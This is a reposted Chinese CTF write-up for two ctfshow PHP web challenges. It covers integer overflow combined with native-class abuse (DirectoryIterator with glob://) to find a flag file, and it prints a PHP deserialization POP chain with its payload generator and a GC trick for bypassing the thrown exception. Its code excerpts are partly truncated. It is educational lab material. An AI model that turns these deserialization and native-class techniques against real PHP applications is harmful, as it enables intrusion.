easyWEB 首先打开界面,just so so , 然后我们查看源码,发现了source 路径直接进去访问
首先打开界面,just so so , 然后我们查看源码,发现了source 路径直接进去访问
$flag_filename = 'flag'.md5(???).'PHP';
首先我们看见了flag_filename,也就是flag的名字是flag开头.php结尾
然后进行php简单的代码审计
我们的突破口就是 else中的echo new $a($b);
首先我们的前提是if(isset($_POST['a']) && isset($_POST['b']) && isset($_POST['c']))
需要post 传参,a,b,c都存在
这是个等于号,相当于赋值,而对于数组无法赋值的情况就是当键溢出就行,可以看到上一句有++$c,也就是说我们设置c为int可设置的最大值减1,等它自增后就可以达到溢出无法赋值的效果
,只需要令c = 9223372036854775806自增一次溢出就可以了。
echo new $a($b);然后这里应该就是一个原生类rce的题目了。
DirectoryIterator: DirectoryIterator类提供了一个查看文件系统目录内容的简单接口。 FilesystemIterator: 文件系统迭代器。
GlobIterator: 与glob()类似的方式迭代文件系统。
进行&a=DirectoryIterator&b=glob://flag[a-z0-9]*.php,为了达到获取flag文件名字的操作
然后继续利用原生类获取flag
获得flag
ion MeMeMe() { array_walk($this, function($fn, $prev){ if ($fn[0] === "Happy_func" && $prev === "year_parm") { global $talk; echo "$talk".""; global $flag; echo $flag; } }); } public function __destruct() { @$this->object->add(); } public function __toString() { return $this->object->string; }}class second { protected $filename; protected function addMe() { return "Wow you have sovled".$this->filename; } public function __call($func, $args) { call_user_func([$this, $func."Me"], $args); }}class third { private $string; public function __construct($string) { $this->string = $string; } public function __get($name) { $var = $this->$name; $var[$name](); }}if (isset($_GET["ctfshow"])) { $a=unserialize($_GET['ctfshow']); throw new Exception("高一新生报道");} else { highlight_file(__FILE__);}
老规矩安装习惯,先找链尾也就是最后执行输出flag的函数
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."";
global $flag;
echo $flag;
}看到输出flag,也就是one类中的 MeMeMe这个方法,然后往前推
看了一下,没有直接调用方法显示在代码中的,所以我们需要从开头入手深度分析
public function __destruct() {
@$this->object->add();
}从one类下的魔术方法开头,这我看了一下所有的类没有add这个方法,看到有call方法,调用了不存在的方法,触发call魔术方法
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}second类中的call 方法,这个call_user_func比较陌生,讲解一下
如果是数组的话,第一个是类,第二个是方法,第三个是属性
call_user_func([$this, $func."Me"], $args);调用当前的类,func是传入的addl链接Me
就是调用addMe方法,因为之中是用.作为了字符串链接,所以会调用 Tostring魔术方法
public function __toString() {
return $this->object->string;
}当前的类中没有string属性,则调用get魔术方法
public function __get($name) {
$var = $this->$name;
$var[$name]();
} 这里的name就是上面的string传进来的,但是 $var = $this->$name; name前面有一个$,$name="string",所以最后$var = $this->string。
所以最后其实就是$this->string['string']();我们的目的就是让这个东西可以指向one::MeMeMe()最后就大功告成了。
令$string = array("string"=>[new one(),"MeMeMe"]);即可以绕过
array_walk函数的作用就是遍历自定义函数,其中$fn的值为成员的值,prev为成员变量的名字
"Happy_func");}class second { public $filename;}class third { private $string; public function __construct($string) { $this->string = $string; }}$a=new one();$a->object=new second();$a->object->filename=new one();$a->object->filename->object=new third(['string'=>[new one(),'MeMeMe']]);$n=null;$payload=array($a,$n);echo urlencode(serialize($payload));
throw new Exception("高一新生报道");然后源代码这是GC回收机制
不可见的字符是%00,把最后的1改为0即可
GC回收机制详解,浅谈PHP中GC回收机制的利用_errorr0的博客-CSDN博客
来源地址:https://blog.csdn.net/qq_62046696/article/details/127017346
--结束END--
本文标题: ctfshow(卷王杯)
本文链接: https://lsjlt.com/news/386581.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0